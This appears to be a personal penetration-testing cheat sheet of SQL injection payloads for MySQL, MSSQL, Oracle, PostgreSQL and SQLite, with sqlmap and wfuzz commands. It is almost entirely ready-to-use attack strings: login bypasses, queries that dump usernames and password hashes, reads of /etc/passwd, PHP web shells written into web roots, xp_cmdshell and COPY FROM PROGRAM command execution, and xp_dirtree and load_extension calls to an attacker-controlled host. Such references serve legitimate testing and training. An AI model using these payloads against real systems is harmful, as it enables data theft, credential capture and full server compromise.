# SQL Injection

## 01. Getting Started

* Cheat sheets
  * [PentestMonky](http://pentestmonkey.net/cheat-sheet/sql-injection/mysql-sql-injection-cheat-sheet)
  * [invicti](https://www.invicti.com/blog/web-security/sql-injection-cheat-sheet/)
  * [Github](https://gist.github.com/bradtraversy/c831baaad44343cc945e76c2e30927b3)
  * [Payload list](https://github.com/payloadbox/sql-injection-payload-list)
  * [Auth bypass payloads](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection#authentication-bypass)

```bash
## ------------------| Fuzzing
wget https://raw.githubusercontent.com/xmendez/wfuzz/master/wordlist/Injections/SQL.txt

ffuf -X POST -u http://<URL/admin -d 'username=FUZZ&password=h4rithd' -w /usr/share/seclists/Fuzzing/SQLi/Generic-SQLi.txt -x http://127.0.0.1:8080 -H "Content-Type: application/x-www-form-urlencoded" 
ffuf -X POST -u http://<URL/admin -d 'username=FUZZ&password=h4rithd' -w /usr/share/wordlist/Injections/SQL.txt -x http://127.0.0.1:8080 -H "Content-Type: application/x-www-form-urlencoded"                                         
```

```bash
## ------------------| Bypass
CHAR(58) --> :
CHAR(32) --> space
/**/     --> space
CHAR(39) --> '
CHAR(85) --> U

## ------------------| Auth Bypass
';#
'-- -
"-- -
admin ') -- -
admin'||''==='
admin ' or 1=1 -- -
admin ' or '1'='1
admin ' or '1'='1'
admin ' or '1'='1 -- -
admin ' or '1'='1' -- -
admin ' or 1=1 LIMIT 1; #
admin ' or 1=1 LIMIT 1; -- -

## ------------------| Enum cols
1 ORDER BY 1 -- -
1' ORDER BY 1 -- -
1' ORDER BY 2 -- -
1' UNION SELECT 1,2,3 -- -
1' UNION SELECT "1","2","3" -- -
1' UNION SELECT "1","PrintMe","3" -- -
1' UNION ALL SELECT 1,2,3 -- -
1' UNION ALL SELECT "1","2","3" -- -
1' UNION ALL SELECT "1","PrintMe","3" -- -

## ------------------| Check math
?id=1+1
?id=1+2
?id=1 + 2
?id=2-1
```

## 02. MySQL

* Useful commands

```bash
## ------------------| Fuzzing
1'1
1 exec sp_ (or exec xp_)
1 and 1=1
1' and 1=(select count(*) from tablenames); --
1 or 1=1
1' or '1'='1

## ------------------| Comment types
--      Comment Type 1
#       Comment Type 2
;%00    Null Byte

## ------------------| Extract version infomation
SELECT VERSION()
SELECT @@version
SELECT @@hostname
SELECT @@tmpdir
SELECT @@version_compile_machine
SELECT @@plugin_dir

## ------------------| Blind/No Output
SELECT SLEEP(5)

## ------------------| Extract current databse name 
SELECT DATABASE()
SELECT SCHEMA_NAME FROM INFORMATION_SCHEMA.SCHEMATA

## ------------------| Extract tables information
SELECT TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA LIKE 'dbname%'
SELECT TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA LIKE 'dbname%' LIMIT 1,1 

## ------------------| Extract column information
SELECT COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME LIKE 'users_secure' LIMIT 1,1

## ------------------| Concatenate values
SELECT GROUP_CONCAT(username,":",password) FROM users_secure 

## ------------------| Extract large characters from a string
SELECT SUBSTRING(password,1,30) FROM users_secure
SELECT SUBSTRING(password,31,60) FROM users_secure
SELECT SUBSTRING((password)FROM 1) FROM users_secure
SELECT SUBSTRING((password)FROM 30) FROM users_secure
```

* Privileges

```bash
## ------------------| Find current user
UNION SELECT 1, user(), 3 -- -

## ------------------| Find if user has admin privileges
UNION SELECT 1, super_priv, 3 FROM mysql.user WHERE user="root" -- -

## ------------------| Find if all user privileges
UNION SELECT 1, grantee, privilege_type, is_grantable FROM INFORMATION_SCHEMA.USER_PRIVILEGES -- -     

## ------------------| Find which directories can be accessed (Read/Write) through MySQL
UNION SELECT 1, variable_name, variable_value, 4 FROM information_schema.global_variables where variable_name="secure_file_priv" -- - 
UNION SELECT 1, (SELECT GROUP_CONCAT("Name:",variable_name,"Value:",variable_value,"\r\n")) 4 FROM information_schema.global_variables where variable_name="secure_file_priv" -- -       
### if secure_file_priv is empty, can read/write files to any location 
### if secure_file_priv is NULL, cannot read/write from any directory
```

* File Injection

```bash
## ------------------| Read/Load file (MySQL)
UNION SELECT 1,(LOAD_FILE("/etc/passwd")),3 -- -
UNION SELECT 1,(TO_BASE64(LOAD_FILE("/etc/passwd"))),3 -- -
UNION SELECT 1,(TO_BASE64(LOAD_FILE("/var/www/html/index.php"))),3 -- -
UNION SELECT 1,(TO_BASE64(LOAD_FILE("C:\\xampp\\apache\\conf\\httpd.conf"))),3 -- -

## ------------------| Write File
UNION SELECT 1,'<?php phpinfo(); ?>',3 INTO OUTFILE '/var/www/html/testme.php' -- -    
UNION SELECT 1,'<?php phpinfo(); ?>',3 INTO OUTFILE '/var/lib/mysql/testme.php' -- -

## ------------------| Write a web shell into the base web directory
UNION SELECT "",'<?php system($_REQUEST[cmd]); ?>', "", "" INTO OUTFILE '/var/www/html/shell.php'-- -     
UNION SELECT "",'<?php system($_REQUEST[cmd]); ?>', "", "" INTO OUTFILE '/var/lib/mysql/shell.php'-- -     

## ------------------| Write File with base64
UNION SELECT 1,(FROM_BASE64("PD9waHAgc3lzdGVtKCRfUkVRVUVTVFtjbWRdKTsgPz4=")),3,4 INTO OUTFILE '/var/www/html/b64.php' -- - 
UNION SELECT 1,(FROM_BASE64("PD9waHAgc3lzdGVtKCRfUkVRVUVTVFtjbWRdKTsgPz4=")),3,4 INTO OUTFILE '/var/lib/mysql/b64.php' -- -       
```

### 02.1 Union Injection

```bash
## ------------------| Basic Check
1'-- -
1 -- -
-1 -- -
1" -- -
-1" -- -

## ------------------| Check how many columns do we have.
?id=1 ORDER BY 1 -- -            ### Check until it gives an error by incrementing the value
?id=1' ORDER BY 1 -- -
?id=1' ORDER BY 2 -- -   
?id=1' UNION SELECT 1,2,3 -- -   ### Check until it NOT gives an error by incrementing the value
?id=1' UNION SELECT "1","2","3" -- -
?id=1' UNION SELECT "1","PrintMe","3" -- -

## ------------------| Basic Union injection
?id=1' UNION SELECT 1,(SELECT 1337),3 -- -
?id=1' UNION SELECT 1,(SELECT @@version),3 -- -       
?id=1' UNION SELECT 1,(SELECT user()),3 -- -
?id=1' UNION SELECT 1,(SELECT system_user()),3 -- -

## ------------------| List all databases
?id=1' UNION SELECT 1,SCHEMA_NAME,3 FROM INFORMATION_SCHEMA.SCHEMATA -- -
?id=1' UNION SELECT 1,(SELECT SCHEMA_NAME FROM INFORMATION_SCHEMA.SCHEMATA),3 -- -
?id=1' UNION SELECT 1,(SELECT SCHEMA_NAME FROM INFORMATION_SCHEMA.SCHEMATA LIMIT 1),3 -- -
?id=1' UNION SELECT 1,(SELECT SCHEMA_NAME FROM INFORMATION_SCHEMA.SCHEMATA LIMIT 1,1),3 -- -
?id=1' UNION SELECT 1,(SELECT SCHEMA_NAME FROM INFORMATION_SCHEMA.SCHEMATA LIMIT 2,1),3 -- -
?id=1' UNION SELECT 1,(SELECT GROUP_CONCAT(SCHEMA_NAME,char(10)) FROM INFORMATION_SCHEMA.SCHEMATA),3 -- -

## ------------------| List all tables in a hotel database
?id=1' UNION SELECT 1,TABLE_NAME,3 FROM INFORMATION_SCHEMA.TABLES -- -
?id=1' UNION SELECT 1,TABLE_NAME,TABLE_SCHEMA FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA='hotel' -- -     
?id=1' UNION SELECT 1,TABLE_NAME,TABLE_SCHEMA FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA like 'hotel' -- -
?id=1' UNION SELECT 1,(SELECT GROUP_CONCAT(TABLE_NAME) FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA='hotel'),3 -- -

## ------------------| List all columns in a user table
?id=1' UNION SELECT 1,COLUMN_NAME,3 FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='user' -- -
?id=1' UNION SELECT 1,COLUMN_NAME,TABLE_NAME,TABLE_SCHEMA FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='user' -- -
?id=1' UNION SELECT 1,(SELECT GROUP_CONCAT(COLUMN_NAME) FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='user'),3  -- -
?id=1' UNION SELECT 1,(SELECT GROUP_CONCAT(TABLE_NAME,char(58),COLUMN_NAME,char(10)) FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_SCHEMA = 'hotel'),3 -- -        

## ------------------| Dump data from a table
?id=1' UNION select 1,username,password,4 from <DB_NAME>.<TABLE_NAME>-- -
?id=1' UNION select 1,(SELECT GROUP_CONCAT(username,char(58),password) FROM <DB_NAME>.<TABLE_NAME>),3 -- -

## ------------------| Dump password
?id=1' UNION SELECT 1,(SELECT GROUP_CONCAT(host,char(58),user,char(58),password,char(10)) FROM mysql.user),3 -- -
```

### 02.2 Error-Based Injection

<pre class="language-bash"><code class="lang-bash"><strong>## ------------------| Common Exploits
</strong>  and extractvalue(0x0a,version())-- -
' and extractvalue(0x0a,version())-- -
, and extractvalue(0x0a,version())-- -
' extractvalue(0x0a,version())-- -
, extractvalue(0x0a,version())-- -
" AND GTID_SUBSET(CONCAT((SELECT (ELT(1=1,version())))),1) AND "h4rithd"="h4rithd

## ------------------| Extract version information
' and extractvalue(0x0a,version())-- -
') and extractvalue(0x0a,version())-- -
') and extractvalue(0x0a,concat(0x0a,version()))-- -

## ------------------| Extract Database name
') and extractvalue(0x0a,concat(0x0a,DATABASE()))-- -
') and extractvalue(0x0a,concat(0x0a,(SELECT SCHEMA_NAME FROM INFORMATION_SCHEMA.SCHEMATA LIMIT 1)))-- -        
') and extractvalue(0x0a,concat(0x0a,(SELECT group_concat(SCHEMA_NAME) FROM INFORMATION_SCHEMA.SCHEMATA)))-- -

## ------------------| Extract Table names
') and extractvalue(0x0a,concat(0x0a,(SELECT TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA='redcross' LIMIT 2,1)))-- -    
') and extractvalue(0x0a,concat(0x0a,(SELECT group_concat(TABLE_NAME) FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA='nagiosxi')))-- -

## ------------------| Extract columns
') and extractvalue(0x0a,concat(0x0a,(SELECT COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='users' LIMIT 2,1)))-- -    
') and extractvalue(0x0a,concat(0x0a,(SELECT group_concat(COLUMN_NAME) FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='xi_sysstat')))-- -

## ------------------| Extract data from table
') and extractvalue(0x0a,concat(0x0a,(SELECT username FROM users LIMIT 2,1)))-- -    
') and extractvalue(0x0a,concat(0x0a,(SELECT password FROM users LIMIT 2,1)))-- -
') and extractvalue(0x0a,concat(0x0a,SUBSTRING((SELECT password FROM users LIMIT 2,1),1,30)))-- -
') and extractvalue(0x0a,concat(0x0a,SUBSTRING((SELECT password FROM users LIMIT 2,1),30,60)))-- -
') and extractvalue(0x0a,concat(0x0a,SUBSTRING((SELECT password FROM users LIMIT 2,1) FROM 1)))-- -
') and extractvalue(0x0a,concat(0x0a,SUBSTRING((SELECT password FROM users LIMIT 2,1) FROM 30)))-- -
</code></pre>

### 02.3 Time Based Injection

<pre class="language-bash"><code class="lang-bash"><strong>## ------------------| Time-based blind
</strong>' AND SLEEP(5) AND '1'='1
' AND (SELECT 1 FROM (SELECT(SLEEP(10)))a) AND '1'='1
' AND 1753=BENCHMARK(5000000,MD5(0x4c677a6e))-- -

## ------------------| Extract the Database
' AND (SELECT IF(SUBSTRING(DATABASE(),1,1)='a', SLEEP(5), 0)) AND '1'='1

## ------------------| Extract Table
' AND (SELECT IF(SUBSTRING((SELECT table_name FROM information_schema.tables WHERE table_schema=DATABASE() LIMIT 0,1),1,1)='u', SLEEP(5), 0)) AND '1'='1

## ------------------| Extract Column Names
' AND (SELECT IF(SUBSTRING((SELECT column_name FROM information_schema.columns WHERE table_name='&#x3C;table_name>' LIMIT &#x3C;index>,1),&#x3C;position>,1)='&#x3C;character>', SLEEP(5), 0)) AND '1'='1

## ------------------| Extract Data from Tables
' AND (SELECT IF(SUBSTRING((SELECT &#x3C;column_name> FROM &#x3C;table_name> LIMIT &#x3C;index>,1),&#x3C;position>,1)='&#x3C;character>', SLEEP(5), 0)) AND '1'='1
</code></pre>

## 03. MSSQL

* Useful Commands

```bash
## ------------------| Fuzzing
'; exec master..xp_cmdshell 'ping 10.10.1.2'--
'create user name identified by 'pass123' --
'create user name identified by pass123 temporary tablespace temp default tablespace users;
' ; drop table temp --
'exec sp_addlogin 'name' , 'password' --
' exec sp_addsrvrolemember 'name' , 'sysadmin' --
' insert into mysql.user (user, host, password) values ('name', 'localhost', password('pass123')) --
' grant connect to name; grant resource to name; --
' insert into users(login, password, level) values( char(0x70) + char(0x65) + char(0x74) + char(0x65) + char(0x72) + char(0x70) + char(0x65) + char(0x74) + char(0x65) + char(0x72),char(0x64)
' or 1=1 --
' union (select @@version) --
' union (select NULL, (select @@version)) --
' union (select NULL, NULL, (select @@version)) --
' union (select NULL, NULL, NULL,  (select @@version)) --
' union (select NULL, NULL, NULL, NULL,  (select @@version)) --
' union (select NULL, NULL, NULL, NULL,  NULL, (select @@version)) --

## ------------------| Comment types
--      Comment Type 1
--+     Comment Type 2
--+-    SQL Comment
/**/    Inline Comment
;%00    Null Byte

## ------------------| Extract version infomation
SELECT VERSION()
SELECT HOST_NAME()
SELECT @@version
SELECT @@hostname

## ------------------| Current User
SELECT user;
SELECT user_name();
SELECT system_user;
SELECT STRING_AGG(name,',') FROM sys.sql_logins

## ------------------| Check the account server services are running
SELECT servicename, service_account FROM sys.dm_server_services

## ------------------| Retrieve a list of database principals in the current database
### Entities that can own database-level securables and permissions
SELECT name,type FROM sys.database_principals

## ------------------| List Users
SELECT name FROM master..syslogins;

## ------------------| Extract current databse name
SELECT DB_NAME()
SELECT DB_NAME(1)
SELECT DB_NAME(2)
SELECT name FROM sys.databases;
SELECT name FROM master..sysdatabases;

## ------------------| Extract tables information
SELECT NAME FROM <DB_NAME>..SYSOBJECTS WHERE XTYPE = 'U';
SELECT CONCAT(NAME,':',ID) FROM <DB_NAME>..SYSOBJECTS WHERE XTYPE = 'U';
SELECT STRING_AGG(CONCAT(NAME,':',ID),'|') FROM <DB_NAME>..SYSOBJECTS WHERE XTYPE = 'U';
SELECT * FROM <DB_NAME>.INFORMATION_SCHEMA.TABLES;
SELECT NAME FROM MASTER..SYSOBJECTS WHERE XTYPE = 'U';
SELECT NAME FROM MASTER..SYSOBJECTS WHERE XTYPE = 'V';
SELECT TOP 1 name FROM <DB_NAME>..SYSOBJECTS WHERE xtype = 'U';
SELECT TOP (SELECT STRING_AGG(NAME,',') FROM <DB_NAME>..SYSOBJECTS WHERE XTYPE = 'U';

## ------------------| Extract column information
SELECT STRING_AGG(COLUMN_NAME,':') FROM <DB_NAME>.INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='<TABLE_NAME>'
SELECT STRING_AGG(NAME,':') FROM <DB_NAME>..SYSCOLUMNS WHERE id=<TABLE_ID>
SELECT CONCAT(COLUMN_NAME,':',DATA_TYPE) FROM <DB_NAME>.INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='<TABLE_NAME>';
SELECT name FROM syscolumns WHERE id = (SELECT id FROM sysobjects WHERE name = 'table_name');     
SELECT master..syscolumns.name, TYPE_NAME(master..syscolumns.xtype) FROM master..syscolumns, master..sysobjects WHERE master..syscolumns.id=master..sysobjects.id AND master..sysobjects.name='table_name';          

## ------------------| Extract data
SELECT STRING_AGG(CONCAT(username,':',password),'|') FROM <TABLE_NAME>
select * from [server].[database].[schema].[table]
select * from [server].[database].dbo.[table]

## ------------------| DB file location
EXEC sp_helpdb master;
EXEC sp_helpdb pubs;

## ------------------| Read current query
UNION SELECT (SELECT text from sys.dm_exec_requests cross apply sys.dm_exec_sql_text(sql_handle)),NULL-- -

## ------------------| Read file (MSSQL)
UNION SELECT 1,(select x from OpenRowset(BULK 'C:\Windows\win.ini',SINGLE_CLOB) R(x)),3,4 -- -  
BULK INSERT dbo.temp FROM 'c:flag.txt' WITH ( ROWTERMINATOR='n' );
DECLARE @h varchar(200);SET @h='\\10.10.14.38\h4rithd'; EXEC master.dbo.xp_dirtree @h;     
```

* Command Execution

```bash
## ------------------| Enable Command Execution & Run [OneLine]
EXEC sp_configure 'show advanced options', 1;EXEC sp_configure reconfigure;EXEC sp_configure 'xp_cmdshell', 1;EXEC sp_configure reconfigure;EXEC xp_cmdshell 'ping -n 2 <IP>'

## ------------------| Enable Command Execution I
EXEC sp_configure 'show advanced options', 1;
EXEC sp_configure reconfigure;
EXEC sp_configure 'xp_cmdshell', 1;
EXEC sp_configure reconfigure;

## ------------------| Enable Command Execution II 
';EXEC master..sp_configure 'SHOW advanced options',1; RECONFIGURE WITH OVERRIDE; EXEC master..sp_configure 'xp_cmdshell',1; RECONFIGURE WITH OVERRIDE; EXEC master..sp_configure 'SHOW advanced options',0; RECONFIGURE WITH OVERRIDE-- -       
## Execute Commands
';DROP TABLE cmdout-- -
';CREATE TABLE cmdout(id INT PRIMARY KEY IDENTITY, data NVARCHAR(4000))-- -
';DECLARE @junk VARCHAR(8000);SET @junk=0x77686f616d69;INSERT INTO cmdout(data) EXEC master..xp_cmdshell @junk-- -
' UNION SELECT (ISNULL(CAST(data AS NVARCHAR(4000)),CHAR(32))),NULL FROM cmdout-- -
';DELETE FROM cmdout-- -

## ------------------| Command Execution
EXEC master.dbo.xp_cmdshell 'cmd';
EXEC xp_cmdshell 'cmd';
EXEC xp_cmdshell 'ping -n 2 <IP>'

## ------------------| Enable Alternative Command Execution
EXEC sp_configure 'show advanced options', 1;
EXEC sp_configure reconfigure;
EXEC sp_configure 'OLE Automation Procedures', 1;
EXEC sp_configure reconfigure;

## ------------------| Alternative Command Execution
DECLARE @execmd INT;
EXEC SP_OACREATE 'wscript.shell', @execmd OUTPUT;
EXEC SP_OAMETHOD @execmd, 'run', null, '%systemroot%system32cmd.exe /c';

## ------------------| RunAs
SELECT * FROM OPENROWSET('SQLOLEDB', '127.0.0.1';'sa';'password', 'SET FMTONLY OFF execute master..xp_cmdshell "dir"');
EXECUTE AS USER = 'FooUser';
```

### [03.2 Error-Based Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/MSSQL%20Injection.md#mssql-error-based)

```bash
## ------------------| Separators
CHAR(58) --> :
CHAR(32) --> space
CHAR(85) --> U

## ------------------| For integer inputs
convert(int,@@version)
cast(@@version as integer)
cast((SELECT @@version) as int)

## ------------------| For Integer inputs
1 AND 1=CONVERT(INT,@@version) --

## ------------------| For string inputs
' + convert(int,@@version) + '
' + cast((SELECT @@version) as int) + '

## ------------------| Extract database names
### replace N with a number starting from 1
' + convert(int,(select DB_NAME(N))) + '
' + convert(int,(SELECT CAST(name AS nvarchar(4000)) FROM master..sysdatabases WHERE dbid=1)) + '     

## ------------------| Extract table names
' + convert(int,(SELECT STRING_AGG(name,CHAR(58)) FROM <DB_NAME>..sysobjects WHERE xtype = 'U' )) + '
' + convert(int,(SELECT top 1 name FROM <DB_NAME>..sysobjects WHERE xtype = 'U' )) + '
' + convert(int,(select top 1 table_name from information_schema.tables)) + '
' + convert(int,(SELECT DISTINCT top 1 TABLE_NAME FROM (SELECT DISTINCT top N TABLE_NAME FROM information_schema.TABLES ORDER BY TABLE_NAME ASC) sq ORDER BY TABLE_NAME DESC)) + '  
cast((SELECT TOP 1 SUBSTRING((ISNULL(CAST(name AS NVARCHAR(4000)),CHAR(32))),1,1024) FROM <DB_NAME>..sysobjects WHERE xtype=CHAR(85) AND ISNULL(CAST(name AS NVARCHAR(4000)),CHAR(32)) NOT IN (SELECT TOP <CHANGE_THIS_AS_1,2,3> ISNULL(CAST(name AS NVARCHAR(4000)),CHAR(32)) FROM <DB_NAME>..sysobjects WHERE xtype=CHAR(85) ORDER BY name) ORDER BY name) CHAR(58) as int)

## ------------------| Extract column names
### replace N with a number starting from 1
' + convert(int,(SELECT STRING_AGG(name,CHAR(58)) FROM syscolumns WHERE id = (SELECT id FROM sysobjects WHERE name = '<TABLE_NAME>'))) + '
' + convert(int,(SELECT DISTINCT top 1 column_name FROM (SELECT DISTINCT top N column_name FROM information_schema.COLUMNS WHERE TABLE_NAME='<TABLE_NAME>' ORDER BY column_name ASC) sq ORDER BY column_name DESC)) + '          
' + convert(int,(SELECT DISTINCT top 1 column_name FROM (SELECT DISTINCT top N column_name FROM <DB_NAME>.information_schema.COLUMNS WHERE TABLE_NAME='<TABLE_NAME>' ORDER BY column_name ASC) sq ORDER BY column_name DESC)) + '        
SELECT TOP 1 SUBSTRING((ISNULL(CAST(<DB_NAME>..syscolumns.name AS NVARCHAR(4000)),CHAR(32))),1,1024) FROM <DB_NAME>..syscolumns,<DB_NAME>..sysobjects WHERE <DB_NAME>..syscolumns.id=<DB_NAME>..sysobjects.id AND <DB_NAME>..sysobjects.name=<TABLE_NAME> AND ISNULL(CAST(<DB_NAME>..syscolumns.name AS NVARCHAR(4000)),CHAR(32)) NOT IN (SELECT TOP <CHANGE_THIS_AS_1,2,3> ISNULL(CAST(<DB_NAME>..syscolumns.name AS NVARCHAR(4000)),CHAR(32)) FROM <DB_NAME>..syscolumns,<DB_NAME>..sysobjects WHERE <DB_NAME>..syscolumns.id=<DB_NAME>..sysobjects.id AND <DB_NAME>..sysobjects.name=<TABLE_NAME> ORDER BY <DB_NAME>..syscolumns.name) ORDER BY <DB_NAME>..syscolumns.name

## ------------------| Extract Data
' + convert(int,(SELECT STRING_AGG(<COL_NAME>,CHAR(58)) FROM <DB_NAME>..<TABLE_NAME>)) + '
' + convert(int,(SELECT top 1 <COL_NAME> FROM (SELECT top N <COL_NAME> FROM archive..pmanager ORDER BY <COL_NAME> ASC) sq ORDER BY <COL_NAME> DESC)) + '
```

### 03.3 Stacked Queries Injection

<pre class="language-bash"><code class="lang-bash">## ------------------| My Way
sudo nc -lvnp 445
id=4';EXEC xp_dirtree '\\&#x3C;IP\test';-- - 

## ------------------| Identify
id=4';SELECT SLEEP(5)#
id=4;WAITFOR+DELAY+'0:0:10'--
id=4);waitfor delay '0:0:10'--
id=4';waitfor delay '0:0:10'--
id=4');waitfor delay '0:0:10'--
id=4));waitfor delay '0:0:10'--
id=4'));waitfor delay '0:0:10'--

## ------------------| Check if we're the privileged sa user
### If we're not sa, this should trigger a delay of 5 seconds.
if (select user) != 'sa' waitfor delay '00:00:05'--

## ------------------| Enum all users's DB roles 
<strong>CREATE TABLE roles ([rolename] sysname, [username] sysname)    
</strong>INSERT INTO roles (username, rolename) SELECT isnull (DP1.name, 'No members') AS DatabaseUserName, DP2.name AS DatabaseRoleName FROM msdb.sys.database_role_members AS DRM LEFT OUTER JOIN msdb.sys.database_principals AS DP1 ON DRM.member_principal_id = DP1.principal_id RIGHT OUTER JOIN msdb.sys.database_principals AS DP2 ON DRM.role_principal_id = DP2.principal_id WHERE DP2.type = 'R' ORDER BY DP1.name

## ------------------| Execute comands
</code></pre>

## 04. Oracal

```bash
## ------------------| Get user info
SELECT * FROM V$VERSION
SELECT USER FROM SYS.DUAL
SELECT OWNER FROM ALL_TABLES GROUP BY OWNER 
SELECT COUNT(*), OWNER FROM ALL_TABLES GROUP BY OWNER 

## ------------------| Extract Tables
SELECT TABLE_NAME FROM ALL_TABLES WHERE OWNER = 'SYS' ORDER BY TABLE_NAME

## ------------------| Extract Columns
SELECT COLUMN_NAME FROM ALL_TAB_COLUMNS WHERE TABLE_NAME='<TABLE_NAME>'
```

### [04.1 Union Injection](http://www.securityidiots.com/Web-Pentest/SQL-Injection/Union-based-Oracle-Injection.html)

```bash
## ------------------| Basic
' order by N--
' union select null,'h4rithd',null from dual--
' union select null,user,null from dual--
' union select null,ora_database_name,null from dual--
' union select null,sys.database_name,null from dual--
' union select null,global_name,null from dual--
' union select null,(select banner from v$version where rownum=1),null from dual--                                                

## ------------------| Extract database names
' union select null,(OWNER),null from SYS.ALL_TABLES--

## ------------------| Extract table names
' union select null,table_name,null from all_tables-- 

## ------------------| Extract column names
' union select null,column_name,null from all_tab_columns where table_name='<TABLE_NAME>'--

## ------------------| Extract Data
' union select null,<COLUMN_NAME>||CHR(58)||<COLUMN_NAME>,null from <TABLE_NAME>--
```

### 04.2 Error-Based Injection

```bash
## ------------------| Basic
' AND 1=CTXSYS.DRITHSX.SN(1,('h4rithd'))--
' AND 1=CTXSYS.DRITHSX.SN(1,(SELECT global_name FROM global_name))--
' AND 1=CTXSYS.DRITHSX.SN(1,(select banner from v$version where rownum=1))--
' AND 1=CTXSYS.DRITHSX.SN(1,(SELECT SYS.DATABASE_NAME FROM DUAL))--

## ------------------| Extract database names
### replace N with a number starting from 1                                                                                                                                                                                                                                                                                   
' AND 1=CTXSYS.DRITHSX.SN(1,(SELECT SUBSTRC((NVL(CAST(OWNER AS VARCHAR(4000)),CHR(32))),1,256) FROM (SELECT OWNER,ROWNUM AS LIMIT FROM (SELECT DISTINCT(OWNER) FROM SYS.ALL_TABLES) ORDER BY 1 ASC) WHERE LIMIT=N))--

## ------------------| Extract table names
### replace N with a number starting from 1  
' AND 1=CTXSYS.DRITHSX.SN(1,(SELECT SUBSTRC((NVL(CAST(TABLE_NAME AS VARCHAR(4000)),CHR(32))),1,256) FROM (SELECT TABLE_NAME,ROWNUM AS LIMIT FROM SYS.ALL_TABLES WHERE OWNER IN ('<DB_NAME>') ORDER BY 1 ASC) WHERE LIMIT=N))--

## ------------------| Extract column names
### replace N with a number starting from 1
' AND 1=CTXSYS.DRITHSX.SN(1,(SELECT SUBSTRC((NVL(CAST(COLUMN_NAME AS VARCHAR(4000)),CHR(32))),1,256) FROM (SELECT COLUMN_NAME,DATA_TYPE,ROWNUM AS LIMIT FROM SYS.ALL_TAB_COLUMNS WHERE TABLE_NAME='<TABLE_NAME>' AND OWNER='<DB_NAME>' ORDER BY 1 ASC) WHERE LIMIT=N))--

## ------------------| Extract Data
```

## 05. PostgreSQL

* Useful Commands

```bash
## ------------------| Basic 
select user;
select current_user;
select session_user;
select usename FROM pg_user;
select getpgusername();

## ------------------| Get users password hash
select usename FROM pg_user
select usename, passwd FROM pg_shadow 

## ------------------| Extract Databases
select * from pg_database;
select datname from pg_database;

## ------------------| Extact Table Names
select table_name from <DB_NAME>.information_schema.tables where table_schema = 'public';

## ------------------| Extract col names
select column_name,data_type from <DB_NAME>.information_schema.columns where table_name ='<TABLE_NAME>';

## ------------------| Read local file
select pg_read_file('/etc/passwd')

## ------------------| Command Execution 
DROP TABLE IF EXISTS cmd_exec; CREATE TABLE cmd_exec(cmd_output text); COPY cmd_exec FROM PROGRAM 'id'; SELECT * FROM cmd_exec; DROP TABLE IF EXISTS cmd_exec;
```

### 05.1 Stacked Queries Injection

```bash
SELECT PG_SLEEP(5)--
```

## 06. SQLite

```bash
## ------------------| Basic 
--         ## Single Comment
/**/      ## Multi Comment	
select sqlite_version();

## ------------------| Extract Database Structure
SELECT sql FROM sqlite_schema
SELECT sql FROM sqlite_master

## ------------------| List all databaeses
SELECT name FROM pragma_database_list
SELECT name FROM pragma_database_list LIMIT 0,1

## ------------------| Extract Table Name	
SELECT tbl_name FROM sqlite_master WHERE type='table'
SELECT tbl_name FROM sqlite_master WHERE type='table' LIMIT 0,1
SELECT group_concat(tbl_name) FROM sqlite_master WHERE type='table' and tbl_name NOT like 'sqlite_%'

## ------------------| Extract Column Name
SELECT name FROM PRAGMA_TABLE_INFO('<TABLE_NAME>')
SELECT name FROM PRAGMA_TABLE_INFO('<TABLE_NAME>') LIMIT 0,1
SELECT GROUP_CONCAT(name) AS column_names FROM pragma_table_info('table_name');
SELECT MAX(sql) FROM sqlite_master WHERE tbl_name='<TABLE_NAME>'
SELECT sql FROM sqlite_master WHERE type!='meta' AND sql NOT NULL AND name ='table_name'

## ------------------| Write shell file
ATTACH DATABASE '/var/www/html/h4rithd.php' AS h4rithd;
CREATE TABLE h4rithd.pwn (dataz text);
INSERT INTO h4rithd.pwn (dataz) VALUES ("<?php system($_GET['cmd']); ?>");--

## ------------------| Load file
UNION SELECT 1,load_extension('cmd.exe');--
UNION SELECT 1,load_extension('\\<IP>\shell.dll','DllMain');--
```

## 07. Automated

* Fuzzing

```bash
wfuzz -w /usr/share/seclists/Fuzzing/special-chars.txt -u http://10.10.10.143/room.php?cod=1FUZZ 

## ------------------| Through BurpProxy
wfuzz -w /usr/share/seclists/Fuzzing/special-chars.txt -p 127.0.0.1:8080:HTTP -u http://10.10.10.143/room.php?cod=1FUZZ               
```

* SQLMap

```bash
## ------------------| For GET requests
sqlmap -u <URL> -p <PARA>
sqlmap -u <URL> -p <PARA> --dbms=mysql --dbs
sqlmap --random-agent --batch --url 'http://supersecurehotel.htb/room.php?cod=*'    

## ------------------| For POST requests
sqlmap --random-agent --batch -r req-file 
sqlmap -r toolbox.req --risk=3 --level=3 --batch --force-ssl --os-shell 

## ------------------| With Tamper
sqlmap --random-agent --batch --tamper=space2comment --url 'http://supersecurehotel.htb/room.php?cod=*'

## ------------------| With burp proxy
--proxy http://127.0.0.1:8080

## ------------------| Custom commands
--banner -b
--users
--sql-shell
--os-shell
--sql-query
--union-cols 
--fresh-queries
--privileges
--current-user
--count
--dump-all --exclude-sysdbs
--flush-session
--dbms=[mysql/mssql] 
--technique=BEUSTQ
--cookie="auth=abc*"
--answers="Y" --batch
--current-db
--start=1 --stop=10

## ------------------| Best settings
sqlmap --random-agent --delay=0 --timeout=30 --retries=0 --level=3 --risk=1 --threads=1 --time-sec=5 --batch --answers="crack=N,dict=N,continue=Y,quit=N" -u http://<IP>

## ------------------| Read & Write file
--current-user --privileges
--file-read
